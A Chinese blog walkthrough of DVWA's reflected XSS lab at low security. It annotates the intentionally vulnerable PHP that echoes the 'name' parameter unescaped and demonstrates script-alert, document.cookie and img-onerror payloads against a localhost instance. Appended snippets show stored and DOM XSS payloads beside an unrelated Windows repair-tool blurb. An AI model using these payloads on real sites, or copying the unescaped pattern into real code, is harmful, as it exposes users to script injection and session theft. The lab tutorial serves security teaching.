DVWA靶场通关笔记-反射型XSS(Reflected Low级别)

目录

一、XSS

二、反射型XSS

三、代码分析

1、index.php

2、low.php

四、渗透实战

1、渗透准备

2、Script注入

3、获取cookie


DVWA(Damn Vulnerable Web Application)中的 反射型XSS关卡(Reflected)是用于练习和演示反射型XSS的不同场景,不同安全等级存在不同的脆弱点和绕过方法,本小节对低等级别的关卡进行渗透实战。

一、XSS

XSS(Cross-Site Scripting) 指的是攻击者通过在网页中注入恶意脚本,当用户访问该页面时,脚本会在用户浏览器中执行,从而窃取用户数据、会话信息或进行其他恶意操作。核心原理就是未对用户输入或输出进行适当过滤,导致恶意代码被浏览器解析执行。

XSS类型

位置

数据流向

反射型 XSS

服务器端

用户输入 → 服务器 → 响应中包含恶意代码

存储型 XSS

服务器端

用户输入 → 存储(数据库) → 所有用户访问时触发

DOM XSS

客户端 JavaScript 代码

用户输入 → 浏览器 DOM 操作 → 执行恶意代码

二、反射型XSS

反射型XSSReflected Cross-Site Scripting是一种常见的Web安全攻击,攻击者将恶意脚本注入URL参数中,当用户点击包含该参数的链接时,服务器将恶意代码反射到响应页面并执行。

三、代码分析

1、index.php

进入DVWA靶场源目录,找到index.php源码。

这段代码是DVWA靶场中反射型XSS攻击的演示页面,主要功能如下所示。

  • 初始化设置

    • 定义系统路径常量,加载必要文件,启动DVWA环境(含用户认证和安全检测)。

  • 安全等级控制

    • 根据用户Cookie中的security值(low/medium/high/impossible)动态加载不同防御级别的代码文件(low.php/medium.php/high.php/impossible.php)。

  • 反射型XSS测试界面

    • 生成一个表单,用户输入name参数并提交,服务端将输入反射到页面中(具体逻辑在引入的不同级别文件中实现)。

    • 在最高防御等级(impossible)时添加CSRF令牌。

  • 动态内容渲染

    • 变量$html由引入的不同文件生成,用于演示不同安全等级下的反射型XSS攻击效果。

 详细注释后的代码如下所示。

<?php
// 定义DVWA根目录路径常量
define('DVWA_WEB_PAGE_TO_ROOT', '../../');

// 引入DVWA核心页面初始化文件
require_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';

// 启动DVWA页面,要求用户已认证并启用PHPIDS(安全检测)
dvwaPageStartup(array('authenticated', 'phpids'));

// 创建新页面对象
$page = dvwaPageNewGrab();

// 设置页面标题
$page['title'] = 'Vulnerability: Reflected Cross Site Scripting (XSS)' . $page['title_separator'] . $page['title'];

// 设置页面ID(用于标识当前页面)
$page['page_id'] = 'xss_r';

// 设置帮助按钮和查看源码按钮的链接目标
$page['help_button'] = 'xss_r';
$page['source_button'] = 'xss_r';

// 连接数据库
dvwaDatabaseConnect();

// 根据安全等级选择对应的文件
$vulnerabilityFile = '';
switch($_COOKIE['security']) {
    case 'low':
        $vulnerabilityFile = 'low.php';    // 低安全等级
        break;
    case 'medium':
        $vulnerabilityFile = 'medium.php'; // 中安全等级
        break;
    case 'high':
        $vulnerabilityFile = 'high.php';   // 高安全等级
        break;
    default:
        $vulnerabilityFile = 'impossible.php'; // 最高防御等级
        break;
}

// 引入对应安全等级的代码文件
require_once DVWA_WEB_PAGE_TO_ROOT . "vulnerabilities/xss_r/source/{$vulnerabilityFile}";

// 构建页面主体HTML
$page['body'] .= "
<div class=\"body_padded\">
    <h1>Vulnerability: Reflected Cross Site Scripting (XSS)</h1>

    <div class=\"vulnerable_code_area\">
        <form name=\"XSS\" action=\"#\" method=\"GET\">
            <p>
                What's your name?
                <input type=\"text\" name=\"name\">
                <input type=\"submit\" value=\"Submit\">
            </p>\n";

// 如果是最高防御等级,添加CSRF令牌
if($vulnerabilityFile == 'impossible.php')
    $page['body'] .= "            " . tokenField();

// 继续构建页面(包含动态生成的HTML内容和参考资料链接)
$page['body'] .= "
        </form>
        {$html}
    </div>

    <h2>More Information</h2>
    <ul>
        <li>" . dvwaExternalLinkUrlGet('https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)') . "</li>
        <li>" . dvwaExternalLinkUrlGet('https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet') . "</li>
        <li>" . dvwaExternalLinkUrlGet('https://en.wikipedia.org/wiki/Cross-site_scripting') . "</li>
        <li>" . dvwaExternalLinkUrlGet('http://www.cgisecurity.com/xss-faq.html') . "</li>
        <li>" . dvwaExternalLinkUrlGet('http://www.scriptalert1.com/') . "</li>
    </ul>
</div>\n";

// 输出最终生成的HTML页面
dvwaHtmlEcho($page);
?>

2、low.php

打开源码low.php,分析可知这段代码没有对传入的参数name进行过滤,可直接进行注入,如下所示。

代码的主要功能如下所示

  • 关闭浏览器XSS防护:通过HTTPX-XSS-Protection: 0强制禁用浏览器内置的XSS过滤功能(现代浏览器已弃用此机制,改用CSP)。
  • 回显用户输入:获取GET参数name的值,直接拼接到HTML中输出,格式为<pre>Hello [用户输入]</pre>

很明显代码存在反射型XSS诸如的可能性,具体原因如下所示。

  • 原因:用户输入的name参数未经过任何过滤或转义,直接插入到HTML中。
  • 危险函数:字符串拼接($html .=)直接将用户输入作为HTML解析。

详细注释后的代码如下所示。

<?php
// 禁用浏览器的XSS过滤器(X-XSS-Protection: 0表示关闭防护)
header("X-XSS-Protection: 0");

// 检查GET请求中是否存在"name"参数且值不为NULL
if(array_key_exists("name", $_GET) && $_GET['name'] != NULL) {
	// 将用户输入直接拼接到HTML中,返回给前端
	$html .= '<pre>Hello ' . $_GET['name'] . '</pre>';
}
?>

四、渗透实战

1、渗透准备

进入DVWA靶场反射型XSS关卡low级别,此时完整URL地址如下所示。

http://127.0.0.1/dvwa/vulnerabilities/xss_r

2、Script注入

尝试注入XSS语句<script>alert('mooyuan')</script>看效果如何,URL如下所示。

http://127.0.0.1/dvwa/vulnerabilities/xss_r/?name=<script>alert('mooyuan')</script>#

 如下所示渗透成功,成功弹出mooyuan弹框。

3、获取cookie

注入语句如下所示。

<script>alert(document.cookie)</script>

完整URL如下所示,成功获取cookie并弹框。

http://127.0.0.1/dvwa/vulnerabilities/xss_r/?name=<script>alert(document.cookie)</script>#

4、IMG注入

注入语句如下所示。

<img src=0 onerror=alert(/mooyuan/)>

完整的URL如下所示,成功弹框mooyuan。

http://127.0.0.1/dvwa/vulnerabilities/xss_r/?name=<img+src=0+onerror=alert(/mooyuan/)>#

Windows 系统修复工具主要用于解决 Windows 11/10 系统中的各种常见问题,具有操作简单、功能全面等特点: 文件资源管理器修复:可解决文件资源管理器卡死、崩溃、无响应等问题,能终止崩溃循环。还可修复右键菜单无响应或选项缺失问题,以及重建缩略图缓存,让图片、视频等文件的缩略图正常显示,此外,还能处理桌面缺少回收站图标、回收站损坏等问题。 互联网和连接修复:能够刷新 DNS 缓存,加速网页加载速度,减少访问延迟。可重置 TCP/IP 协议栈,增强网络连接稳定性,减少网络掉线情况,还能还原 Hosts 文件,清除恶意程序对网络设置的篡改,保障网络安全,解决电脑重装系统后网络无法连接、浏览器主页被篡改等问题。 系统修复:集成系统文件检查器(SFC),可自动扫描并修复受损的系统文件。能解决 Windows 激活状态异常的问题,还可重建 DLL 注册库,恢复应用程序兼容性,解决部分软件无法正常运行的问题,同时也能处理如 Windows 沙箱无法启动、Windows 将 JPG 或 JPEG 保存为 JFIF 等系统问题。 系统工具维护:提供启动管理器、服务管理器和进程管理器等工具,用户可控制和管理启动程序、系统服务和当前运行的进程,提高系统的启动和运行速度,防止不必要的程序和服务占用系统资源。还能查看系统规格,如处理器线程数、最大显示分辨率等。 故障排除:集成超过 20 个微软官方诊断工具,可对系统问题进行专业排查,还能生成硬件健康状态报告。能解决搜索和索引故障、邮件和日历应用程序崩溃、设置应用程序无法启动等问题,也可处理打印机、网络适配器、Windows 更新等相关故障。 其他修复功能:可以重置组策略设置、catroot2 文件夹、记事本等多种系统设置和组件,如重置 Windows 应用商店缓存、Windows 防火墙设置等。还能添加重建图标缓存支持,恢复粘滞便笺删除
### DVWA XSS漏洞利用教程 #### 3.1 环境准备 为了进行DVWA中的XSS攻击实验,需先完成DVWA靶场环境的搭建以及Kali Linux系统的安装配置[^1]。 #### 3.2 设置DVWA难度级别 进入DVWA主页后,在左上角可调整安全性等级至低级以便于学习者更容易理解和实践XSS攻击原理。 #### 3.3 反射型跨站脚本攻击(Reflected XSS) 当用户输入的数据未经适当过滤就被返回给浏览器显示时就会发生反射型XSS。在DVWA中选择“XSS (Reflected)”选项卡并尝试提交恶意JavaScript代码作为查询参数的一部分来触发弹窗警告框`<script>alert('XSS')</script>`[^2]。 ```html <script>alert('XSS')</script> ``` #### 3.4 存储型跨站脚本攻击(Stored XSS) 存储型XSS发生在应用程序接收不可信数据并将这些数据永久保存下来之后再发送回其他用户的场景下。可以通过向留言板功能注入持久化的HTML/JS片段实现该类型的攻击模拟,比如发布一条包含如下内容的消息: ```html <img src="javascript:alert('Persistent%20XSS')"> ``` #### 3.5 DOM-based 跨站点脚本(DOM Based XSS) DOM-Based XSS不同于上述两种情况,它不涉及服务器端处理过程而是完全由客户端执行所引起的错误行为造成。可以在URL哈希部分附加带有潜在危害性的指令从而影响页面加载后的动态渲染效果,例如访问链接`http://localhost/DVWA/vulnerabilities/xss_d/?default=<img%20src=1%20onerror='alert(String.fromCharCode(88,83,83))'>#`将会导致图像加载失败事件被用来启动一个对话窗口展示字符串"XSS"。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

mooyuan天天

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值